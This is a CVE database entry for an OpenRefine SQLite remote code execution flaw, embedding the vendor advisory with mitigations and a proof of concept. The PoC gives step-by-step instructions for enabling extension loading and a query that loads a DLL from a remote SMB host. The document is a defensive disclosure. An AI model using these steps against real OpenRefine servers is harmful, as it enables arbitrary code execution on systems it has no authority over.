CVE-2024-47881
highPriorität · verfolgen · 35EPSS 0.007 · 53. PerzentilEURUUSEPSS · bewertet 2026-10-27
OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the `database` extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (4)
Betroffene Produkte und Versionsbereiche.
Advisories (1)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-87cf-j763-vvh8OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)2024-10-24ghsa · osvUS
### Summary In the `database` extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. ### Details The `database` extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can: * Read files on local or SMB filesystems, provided they are SQLite databases. * Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty. This seems to be the expected behavior. However, by adding `?enable_load_extension=true` to the filename, a [feature](https://www.sqlite.org/loadext.html) is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders. Possible mitigation and hardening steps could include: - Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path - If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory - If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters - Always using the READONLY open mode - Explicitly setting enable_load_extension to off - Enforcing [stricter limits](https://www.sqlite.org/security.html) and similar precautions ### PoC Tested on a Windows 11 machine. 1. Start OpenRefine and choose "Create project", "Database", database type "SQLite". 2. Type a writable file path followed by `?enable_load_extension=true`. 3. Click Connect. The connection should succeed. 4. Use `SELECT load_extension('\\wandernauta.nl\public\libcalculator.dll');` as the query. 5. Assuming there are no firewalls in the way, a few Windows calculators should open. The same file is available from https://wandernauta.nl/libcalculator.dll if needed. ### Impact Remote code execution for attackers with network access to OpenRefine.
auch bekannt als (4)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (7)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056cnnvd
- https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8cnnvd
- https://vigilance.fr/vulnerability/OpenRefine-seven-vulnerabilities-dated-10-02-2025-46318cnnvd
- https://github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056enisa_euvd
- https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8enisa_euvd
- https://github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056Patchnvd
- https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8ExploitThird Party Advisorynvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan